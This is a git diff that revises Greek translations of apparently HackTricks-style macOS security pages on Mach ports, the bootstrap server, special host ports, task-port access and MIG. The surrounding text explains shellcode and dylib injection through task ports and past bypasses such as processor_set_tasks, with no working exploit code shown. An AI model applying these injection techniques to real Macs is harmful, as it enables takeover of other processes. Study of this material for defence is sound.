5. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **αναζήτηση για το όνομα υπηρεσίας** (`bootstrap_lookup`). Έτσι, ο bootstrap server μπορεί να απαντήσει, η task B θα του στείλει ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα που δημιούργησε προηγουμένως** μέσα στο μήνυμα αναζήτησης. Εάν η αναζήτηση είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**.
|
||||
4. Η Task A στέλνει ένα μήνυμα `bootstrap_register` στον bootstrap server για **να συσχετίσει τη δεδομένη θύρα με ένα όνομα** όπως `com.apple.taska`
|
||||
5. Η Task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **αναζήτηση για την υπηρεσία** ονόματος (`bootstrap_lookup`). Έτσι, ο bootstrap server μπορεί να απαντήσει, η task B θα του στείλει ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα που δημιούργησε προηγουμένως** μέσα στο μήνυμα αναζήτησης. Εάν η αναζήτηση είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**.
|
||||
- Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server.
|
||||
6. Με αυτό το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, η **Task B** είναι ικανή να **στείλει** ένα **μήνυμα** **στην Task A**.
|
||||
7. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
|
||||
@ -59,13 +59,13 @@
|
||||
|
||||
Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:
|
||||
|
||||
- Η task **B** ξεκινά μια bootstrap **αναζήτηση** για ένα όνομα υπηρεσίας.
|
||||
- Η Task **B** ξεκινά μια bootstrap **αναζήτηση** για ένα όνομα υπηρεσίας.
|
||||
- Ο **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**.
|
||||
- Η task **A** (η υπηρεσία) εκτελεί μια **bootstrap check-in** (`bootstrap_check_in()`). Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**.
|
||||
- Η Task **A** (η υπηρεσία) εκτελεί μια **bootstrap check-in** (`bootstrap_check_in()`). Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**.
|
||||
- Ο launchd διπλασιάζει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**.
|
||||
- Η task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
|
||||
- Η Task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
|
||||
|
||||
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παρενόχληση.
|
||||
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνουσα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Επομένως, ο launchd δεν πρέπει ποτέ να καταρρεύσει ή ολόκληρο το σύστημα θα καταρρεύσει.
|
||||
@ -87,9 +87,9 @@ mach_msg_id_t msgh_id;
|
||||
```
|
||||
Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια θύρα Mach. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.
|
||||
|
||||
Το αρχικό πεδίο **`msgh_bits`** είναι μια bitmap:
|
||||
Το αρχικό πεδίο **`msgh_bits`** είναι ένα bitmap:
|
||||
|
||||
- Το πρώτο bit (το πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι σύνθετο (περισσότερα για αυτό παρακάτω)
|
||||
- Το πρώτο bit (το πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι σύνθετο (περισσότερα σχετικά με αυτό παρακάτω)
|
||||
- Τα 3ο και 4ο χρησιμοποιούνται από τον πυρήνα
|
||||
- Τα **5 λιγότερο σημαντικά bits του 2ου byte** μπορούν να χρησιμοποιηθούν για **voucher**: ένας άλλος τύπος θύρας για την αποστολή συνδυασμών κλειδιού/τιμής.
|
||||
- Τα **5 λιγότερο σημαντικά bits του 3ου byte** μπορούν να χρησιμοποιηθούν για **τοπική θύρα**
|
||||
@ -123,7 +123,7 @@ mach_msg_id_t msgh_id;
|
||||
- `msgh_id`: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον παραλήπτη.
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας `mach port`**, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο παραλήπτη**, **πολλούς αποστολείς** που είναι ενσωματωμένο στον πυρήνα mach. **Πολλές διαδικασίες** μπορούν να **στείλουν μηνύματα** σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο **μία διαδικασία μπορεί να διαβάσει** από αυτήν.
|
||||
> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας `mach port`**, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο παραλήπτη**, **πολλούς αποστολείς** ενσωματωμένο στον πυρήνα mach. **Πολλές διαδικασίες** μπορούν να **στείλουν μηνύματα** σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο **μία διαδικασία μπορεί να διαβάσει** από αυτήν.
|
||||
|
||||
Τα μηνύματα σχηματίζονται από την κεφαλίδα **`mach_msg_header_t`** ακολουθούμενη από το **σώμα** και από το **trailer** (αν υπάρχει) και μπορεί να παραχωρήσει άδεια για να απαντηθεί. Σε αυτές τις περιπτώσεις, ο πυρήνας χρειάζεται απλώς να περάσει το μήνυμα από μια εργασία στην άλλη.
|
||||
|
||||
@ -150,12 +150,12 @@ unsigned int pad3 : 24;
|
||||
mach_msg_descriptor_type_t type : 8;
|
||||
} mach_msg_type_descriptor_t;
|
||||
```
|
||||
Σε 32bit, όλοι οι περιγραφείς είναι 12B και ο τύπος του περιγραφέα βρίσκεται στον 11ο. Σε 64bit, τα μεγέθη ποικίλλουν.
|
||||
Σε 32bit, όλοι οι περιγραφείς είναι 12B και ο τύπος του περιγραφέα είναι στον 11ο. Σε 64bit, τα μεγέθη ποικίλλουν.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ο πυρήνας θα αντιγράψει τους περιγραφείς από μια εργασία στην άλλη αλλά πρώτα **δημιουργώντας ένα αντίγραφο στη μνήμη του πυρήνα**. Αυτή η τεχνική, γνωστή ως "Feng Shui", έχει καταχραστεί σε πολλές εκμεταλλεύσεις για να κάνει τον **πυρήνα να αντιγράψει δεδομένα στη μνήμη του**, κάνοντάς τον διαδικασία να στείλει περιγραφείς στον εαυτό της. Στη συνέχεια, η διαδικασία μπορεί να λάβει τα μηνύματα (ο πυρήνας θα τα απελευθερώσει).
|
||||
> Ο πυρήνας θα αντιγράψει τους περιγραφείς από μια εργασία στην άλλη αλλά πρώτα **δημιουργώντας ένα αντίγραφο στη μνήμη του πυρήνα**. Αυτή η τεχνική, γνωστή ως "Feng Shui", έχει καταχραστεί σε πολλές εκμεταλλεύσεις για να κάνει τον **πυρήνα να αντιγράψει δεδομένα στη μνήμη του**, κάνοντάς μια διαδικασία να στείλει περιγραφείς στον εαυτό της. Στη συνέχεια, η διαδικασία μπορεί να λάβει τα μηνύματα (ο πυρήνας θα τα απελευθερώσει).
|
||||
>
|
||||
> Είναι επίσης δυνατό να **σταλεί δικαίωμα θύρας σε μια ευάλωτη διαδικασία**, και τα δικαιώματα θύρας θα εμφανιστούν απλώς στη διαδικασία (ακόμα και αν δεν τα χειρίζεται).
|
||||
> Είναι επίσης δυνατό να **σταλεί δικαίωμα θύρας σε μια ευάλωτη διαδικασία**, και τα δικαιώματα θύρας θα εμφανιστούν απλώς στη διαδικασία (ακόμα κι αν δεν τα χειρίζεται).
|
||||
|
||||
### Mac Ports APIs
|
||||
|
||||
@ -217,7 +217,7 @@ mach_port_name_t rcv_name,
|
||||
mach_msg_timeout_t timeout,
|
||||
mach_port_name_t notify);
|
||||
```
|
||||
Αποκτήστε τις τιμές από τα μητρώα:
|
||||
Πάρτε τις τιμές από τα μητρώα:
|
||||
```armasm
|
||||
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
|
||||
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
|
||||
@ -268,10 +268,10 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
||||
[...]
|
||||
```
|
||||
Το **όνομα** είναι το προεπιλεγμένο όνομα που δίνεται στην θύρα (ελέγξτε πώς **αυξάνεται** στα πρώτα 3 bytes). Το **`ipc-object`** είναι ο **αποκρυπτογραφημένος** μοναδικός **ταυτοποιητής** της θύρας.\
|
||||
Σημειώστε επίσης πώς οι θύρες με μόνο δικαίωμα **`send`** είναι **ταυτοποιώντας τον κάτοχό** τους (όνομα θύρας + pid).\
|
||||
Σημειώστε επίσης πώς οι θύρες με μόνο **`send`** δικαίωμα **αναγνωρίζουν τον κάτοχό** τους (όνομα θύρας + pid).\
|
||||
Σημειώστε επίσης τη χρήση του **`+`** για να υποδείξετε **άλλες εργασίες που συνδέονται με την ίδια θύρα**.
|
||||
|
||||
Είναι επίσης δυνατό να χρησιμοποιήσετε [**procesxp**](https://www.newosxbook.com/tools/procexp.html) για να δείτε επίσης τα **καταχωρημένα ονόματα υπηρεσιών** (με SIP απενεργοποιημένο λόγω της ανάγκης για `com.apple.system-task-port`):
|
||||
Είναι επίσης δυνατό να χρησιμοποιήσετε [**procesxp**](https://www.newosxbook.com/tools/procexp.html) για να δείτε επίσης τα **καταχωρημένα ονόματα υπηρεσιών** (με το SIP απενεργοποιημένο λόγω της ανάγκης του `com.apple.system-task-port`):
|
||||
```
|
||||
procesp 1 ports
|
||||
```
|
||||
@ -407,25 +407,25 @@ printf("Sent a message\n");
|
||||
|
||||
## Ιδιωτικά Θύρες
|
||||
|
||||
Υπάρχουν ορισμένες ειδικές θύρες που επιτρέπουν να **εκτελούνται ορισμένες ευαίσθητες ενέργειες ή να αποκτάται πρόσβαση σε ορισμένα ευαίσθητα δεδομένα** σε περίπτωση που μια εργασία έχει τα **SEND** δικαιώματα πάνω τους. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, όχι μόνο λόγω των δυνατοτήτων τους, αλλά και επειδή είναι δυνατή η **κοινή χρήση των SEND δικαιωμάτων μεταξύ των εργασιών**.
|
||||
Υπάρχουν ορισμένες ειδικές θύρες που επιτρέπουν να **εκτελούνται ορισμένες ευαίσθητες ενέργειες ή να αποκτάται πρόσβαση σε ορισμένα ευαίσθητα δεδομένα** σε περίπτωση που μια εργασία έχει τα δικαιώματα **SEND** πάνω τους. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, όχι μόνο λόγω των δυνατοτήτων τους αλλά και επειδή είναι δυνατή η **κοινή χρήση δικαιωμάτων SEND μεταξύ εργασιών**.
|
||||
|
||||
### Ειδικές Θύρες Φιλοξενίας
|
||||
|
||||
Αυτές οι θύρες εκπροσωπούνται από έναν αριθμό.
|
||||
|
||||
**SEND** δικαιώματα μπορούν να αποκτηθούν καλώντας **`host_get_special_port`** και **RECEIVE** δικαιώματα καλώντας **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν την θύρα **`host_priv`** στην οποία μπορεί να έχει πρόσβαση μόνο ο root. Επιπλέον, στο παρελθόν, ο root μπορούσε να καλέσει **`host_set_special_port`** και να καταλάβει αυθαίρετα, κάτι που επέτρεπε, για παράδειγμα, την παράκαμψη των υπογραφών κώδικα καταλαμβάνοντας την `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει).
|
||||
Τα δικαιώματα **SEND** μπορούν να αποκτηθούν καλώντας **`host_get_special_port`** και τα δικαιώματα **RECEIVE** καλώντας **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν την θύρα **`host_priv`** στην οποία μπορεί να έχει πρόσβαση μόνο ο root. Επιπλέον, στο παρελθόν ο root μπορούσε να καλέσει **`host_set_special_port`** και να καταλάβει αυθαίρετα, κάτι που επέτρεπε, για παράδειγμα, την παράκαμψη υπογραφών κώδικα καταλαμβάνοντας την `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει).
|
||||
|
||||
Αυτές χωρίζονται σε 2 ομάδες: Οι **πρώτες 7 θύρες ανήκουν στον πυρήνα** με την 1 `HOST_PORT`, την 2 `HOST_PRIV_PORT`, την 3 `HOST_IO_MASTER_PORT` και την 7 είναι `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
Αυτές χωρίζονται σε 2 ομάδες: Οι **πρώτες 7 θύρες ανήκουν στον πυρήνα** και είναι η 1 `HOST_PORT`, η 2 `HOST_PRIV_PORT`, η 3 `HOST_IO_MASTER_PORT` και η 7 είναι `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
Αυτές που ξεκινούν **από** τον αριθμό **8** ανήκουν σε **συστήματα δαίμονες** και μπορούν να βρεθούν δηλωμένες στο [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
|
||||
|
||||
- **Θύρα Φιλοξενίας**: Αν μια διαδικασία έχει **SEND** προνόμιο πάνω σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** καλώντας τις ρουτίνες της όπως:
|
||||
- **Θύρα Φιλοξενίας**: Εάν μια διαδικασία έχει **SEND** προνόμιο πάνω σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** καλώντας τις ρουτίνες της όπως:
|
||||
- `host_processor_info`: Λάβετε πληροφορίες επεξεργαστή
|
||||
- `host_info`: Λάβετε πληροφορίες φιλοξενίας
|
||||
- `host_virtual_physical_table_info`: Πίνακας εικονικής/φυσικής μνήμης (απαιτεί MACH_VMDEBUG)
|
||||
- `host_statistics`: Λάβετε στατιστικά στοιχεία φιλοξενίας
|
||||
- `mach_memory_info`: Λάβετε διάταξη μνήμης πυρήνα
|
||||
- **Θύρα Priv φιλοξενίας**: Μια διαδικασία με **SEND** δικαίωμα πάνω σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η εμφάνιση δεδομένων εκκίνησης ή η προσπάθεια φόρτωσης μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
|
||||
- Επιπλέον, προκειμένου να καλέσει την API **`kext_request`**, απαιτείται να έχει άλλες εξουσιοδοτήσεις **`com.apple.private.kext*`** που δίνονται μόνο σε δυαδικά αρχεία της Apple.
|
||||
- **Θύρα Ιδιωτικού Φιλοξενίας**: Μια διαδικασία με δικαίωμα **SEND** πάνω σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η εμφάνιση δεδομένων εκκίνησης ή η προσπάθεια φόρτωσης μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
|
||||
- Επιπλέον, για να καλέσει την API **`kext_request`** απαιτείται να έχει άλλες εξουσιοδοτήσεις **`com.apple.private.kext*`** που δίνονται μόνο σε δυαδικά αρχεία της Apple.
|
||||
- Άλλες ρουτίνες που μπορούν να κληθούν είναι:
|
||||
- `host_get_boot_info`: Λάβετε `machine_boot_info()`
|
||||
- `host_priv_statistics`: Λάβετε προνομιακά στατιστικά στοιχεία
|
||||
@ -489,7 +489,7 @@ world.*/
|
||||
- Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το εκτελέσιμο `AppleMobileFileIntegrity`):
|
||||
- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` entitlement** διαδικασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **notarization** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.
|
||||
- Εφαρμογές με το **`com.apple.system-task-ports`** entitlement μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
|
||||
- **Ο Root μπορεί να έχει πρόσβαση σε θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με **σκληρή** εκτέλεση (και όχι από την Apple).
|
||||
- **Ο Root μπορεί να έχει πρόσβαση σε θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με μια **σκληρυμένη** εκτέλεση (και όχι από την Apple).
|
||||
|
||||
**Η θύρα ονόματος εργασίας:** Μια μη προνομιούχος έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο πράγμα που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
|
||||
|
||||
@ -772,13 +772,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
> [!TIP]
|
||||
> Για να λειτουργήσει αυτό στο iOS, χρειάζεστε την εξουσιοδότηση `dynamic-codesigning` προκειμένου να μπορείτε να δημιουργήσετε ένα εκτελέσιμο μνήμης που είναι εγγράψιμο.
|
||||
|
||||
### Εισαγωγή Dylib σε νήμα μέσω Task port
|
||||
### Dylib Injection σε νήμα μέσω Task port
|
||||
|
||||
Στο macOS, **νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**.
|
||||
Στο macOS, **νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη ένεση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**.
|
||||
|
||||
Ήταν δυνατό να **εισαχθεί ένας απλός κώδικας shell** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατά με posix**, μόνο με Mach. **Πιο σύνθετες εισαγωγές** θα χρειάζονταν το **νήμα** να είναι επίσης **συμβατό με posix**.
|
||||
Ήταν δυνατό να **ενσωματωθεί ένας απλός shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατές με posix**, μόνο με Mach. **Πιο σύνθετες ενέσεις** θα χρειάζονταν το **νήμα** να είναι επίσης **συμβατό με posix**.
|
||||
|
||||
Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι ώστε αντί να γράφει νέο κώδικα shell για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες.
|
||||
Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι ώστε αντί να γράφει νέο shellcode για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες.
|
||||
|
||||
Μπορείτε να βρείτε **παραδείγματα dylibs** σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε):
|
||||
|
||||
@ -1080,7 +1080,7 @@ macos-thread-injection-via-task-port.md
|
||||
|
||||
Όταν συμβαίνει μια εξαίρεση σε ένα νήμα, αυτή η εξαίρεση αποστέλλεται στο καθορισμένο port εξαίρεσης του νήματος. Αν το νήμα δεν την χειριστεί, τότε αποστέλλεται στα ports εξαίρεσης της διαδικασίας. Αν η διαδικασία δεν την χειριστεί, τότε αποστέλλεται στο host port, το οποίο διαχειρίζεται το launchd (όπου θα αναγνωριστεί). Αυτό ονομάζεται triage εξαίρεσης.
|
||||
|
||||
Σημειώστε ότι στο τέλος, συνήθως αν δεν χειριστεί σωστά, η αναφορά θα καταλήξει να χειρίζεται από τον δαίμονα ReportCrash. Ωστόσο, είναι δυνατόν για ένα άλλο νήμα στην ίδια διαδικασία να διαχειριστεί την εξαίρεση, αυτό είναι που κάνουν τα εργαλεία αναφοράς κρασών όπως το `PLCreashReporter`.
|
||||
Σημειώστε ότι στο τέλος, συνήθως αν δεν χειριστεί σωστά, η αναφορά θα καταλήξει να διαχειρίζεται από τον δαίμονα ReportCrash. Ωστόσο, είναι δυνατόν για ένα άλλο νήμα στην ίδια διαδικασία να διαχειριστεί την εξαίρεση, αυτό είναι που κάνουν τα εργαλεία αναφοράς κρασών όπως το `PLCreashReporter`.
|
||||
|
||||
## Other Objects
|
||||
|
||||
@ -1089,7 +1089,7 @@ macos-thread-injection-via-task-port.md
|
||||
Οποιοσδήποτε χρήστης μπορεί να έχει πρόσβαση σε πληροφορίες σχετικά με το ρολόι, ωστόσο για να ρυθμίσει την ώρα ή να τροποποιήσει άλλες ρυθμίσεις, πρέπει να είναι root.
|
||||
|
||||
Για να αποκτήσει πληροφορίες, είναι δυνατόν να καλέσει συναρτήσεις από το υποσύστημα `clock`, όπως: `clock_get_time`, `clock_get_attributtes` ή `clock_alarm`\
|
||||
Για να τροποποιήσει τιμές, το υποσύστημα `clock_priv` μπορεί να χρησιμοποιηθεί με συναρτήσεις όπως `clock_set_time` και `clock_set_attributes`.
|
||||
Για να τροποποιήσει τιμές, το υποσύστημα `clock_priv` μπορεί να χρησιμοποιηθεί με συναρτήσεις όπως `clock_set_time` και `clock_set_attributes`
|
||||
|
||||
### Processors and Processor Set
|
||||
|
||||
@ -1104,7 +1104,7 @@ macos-thread-injection-via-task-port.md
|
||||
- `processor_set_stack_usage`
|
||||
- `processor_set_info`
|
||||
|
||||
Όπως αναφέρθηκε σε [**αυτή την ανάρτηση**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), στο παρελθόν αυτό επέτρεπε την παράκαμψη της προηγουμένως αναφερόμενης προστασίας για την απόκτηση ports διαδικασίας σε άλλες διαδικασίες για τον έλεγχο τους καλώντας **`processor_set_tasks`** και αποκτώντας ένα host port σε κάθε διαδικασία.\
|
||||
Όπως αναφέρθηκε σε [**αυτή την ανάρτηση**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), στο παρελθόν αυτό επέτρεπε την παράκαμψη της προηγουμένως αναφερόμενης προστασίας για να αποκτήσει ports διαδικασίας σε άλλες διαδικασίες για να τις ελέγξει καλώντας **`processor_set_tasks`** και αποκτώντας ένα host port σε κάθε διαδικασία.\
|
||||
Σήμερα χρειάζεστε root για να χρησιμοποιήσετε αυτή τη λειτουργία και αυτή είναι προστατευμένη, οπότε θα μπορείτε να αποκτήσετε αυτά τα ports μόνο σε μη προστατευμένες διαδικασίες.
|
||||
|
||||
Μπορείτε να το δοκιμάσετε με:
|
||||
|
||||
@ -10,9 +10,9 @@ MIG δημιουργήθηκε για να **απλοποιήσει τη δια
|
||||
|
||||
Αυτοί οι ορισμοί έχουν 5 ενότητες:
|
||||
|
||||
- **Δήλωση υποσυστήματος**: Η λέξη-κλειδί subsystem χρησιμοποιείται για να υποδείξει το **όνομα** και το **id**. Είναι επίσης δυνατό να το επισημάνετε ως **`KernelServer`** αν ο server πρέπει να εκτελείται στον πυρήνα.
|
||||
- **Εισαγωγές και imports**: Το MIG χρησιμοποιεί τον C-preprocessor, οπότε μπορεί να χρησιμοποιεί imports. Επιπλέον, είναι δυνατό να χρησιμοποιηθούν `uimport` και `simport` για κώδικα που έχει παραχθεί από χρήστη ή server.
|
||||
- **Δηλώσεις τύπων**: Είναι δυνατό να οριστούν τύποι δεδομένων αν και συνήθως θα εισάγει `mach_types.defs` και `std_types.defs`. Για προσαρμοσμένους τύπους μπορεί να χρησιμοποιηθεί κάποια σύνταξη:
|
||||
- **Δήλωση υποσυστήματος**: Η λέξη-κλειδί subsystem χρησιμοποιείται για να υποδείξει το **όνομα** και το **id**. Είναι επίσης δυνατή η σήμανση ως **`KernelServer`** αν ο server πρέπει να εκτελείται στον πυρήνα.
|
||||
- **Εισαγωγές και imports**: Το MIG χρησιμοποιεί τον C-preprocessor, επομένως μπορεί να χρησιμοποιεί imports. Επιπλέον, είναι δυνατή η χρήση `uimport` και `simport` για κώδικα που έχει παραχθεί από χρήστη ή server.
|
||||
- **Δηλώσεις τύπων**: Είναι δυνατή η ορισμός τύπων δεδομένων αν και συνήθως θα εισάγει `mach_types.defs` και `std_types.defs`. Για προσαρμοσμένους τύπους μπορεί να χρησιμοποιηθεί κάποια σύνταξη:
|
||||
- \[i`n/out]tran`: Συνάρτηση που πρέπει να μεταφραστεί από ένα εισερχόμενο ή σε ένα εξερχόμενο μήνυμα
|
||||
- `c[user/server]type`: Χαρτογράφηση σε άλλο τύπο C.
|
||||
- `destructor`: Καλέστε αυτή τη συνάρτηση όταν ο τύπος απελευθερωθεί.
|
||||
@ -89,7 +89,7 @@ routine[1];
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Βασισμένη στη προηγούμενη δομή, η συνάρτηση **`myipc_server_routine`** θα λάβει το **ID μηνύματος** και θα επιστρέψει τη σωστή συνάρτηση για κλήση:
|
||||
Βασισμένη στην προηγούμενη δομή, η συνάρτηση **`myipc_server_routine`** θα πάρει το **ID μηνύματος** και θα επιστρέψει τη σωστή συνάρτηση για κλήση:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
@ -108,7 +108,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
|
||||
Αν η συνάρτηση αναμενόταν να στείλει μια **απάντηση**, η συνάρτηση `mig_internal kern_return_t __MIG_check__Reply__<name>` θα υπήρχε επίσης.
|
||||
|
||||
Στην πραγματικότητα, είναι δυνατόν να προσδιοριστεί αυτή η σχέση στη δομή **`subsystem_to_name_map_myipc`** από **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* σε άλλα αρχεία):
|
||||
Στην πραγματικότητα, είναι δυνατόν να προσδιοριστεί αυτή η σχέση στη δομή **`subsystem_to_name_map_myipc`** από το **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* σε άλλα αρχεία):
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
@ -217,31 +217,31 @@ USERPREFSubtract(port, 40, 2);
|
||||
|
||||
### Το NDR_record
|
||||
|
||||
